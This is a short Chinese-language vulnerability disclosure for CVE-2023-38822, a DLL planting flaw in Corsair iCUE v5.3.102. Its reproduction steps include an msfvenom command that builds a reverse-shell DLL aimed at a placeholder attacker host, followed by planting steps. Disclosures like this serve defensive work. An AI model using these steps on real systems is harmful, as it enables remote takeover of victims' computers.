Corsair —— DLL 种植漏洞 CVE-2023-38822

Corsair iCUE v.5.3.102 中的 DLL 种植漏洞（CVE-2023-38822） 发现者：Idan Malihi

描述

Corsair iCUE v.5.3.102 中的一个问题允许本地攻击者通过 MPDC.dll、CRYPTSP.dll、dcomp.dll、profapi.dll 和 MSASN1.dll 组件执行任意代码。

复现步骤

要利用 DLL 种植漏洞，攻击者应执行以下步骤：

1. 下载 iCUE 的最新版本。
2. 安装 iCUE 产品。
3. 打开安装路径文件夹，例如 C:\Program Files\Corsair\Corsair iCUE5 Software\
4. 在 Kali Linux 操作系统上使用 msfvenom 创建一个恶意 DLL 文件：

msfvenom -p windows/x64/meterpreter/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o CRYPTSP.dll

5. 将 DLL 文件传输到游戏路径 C:\Program Files\Corsair\Corsair iCUE5 Software\
6. 运行 iCUE.exe 并获得一个反向 shell。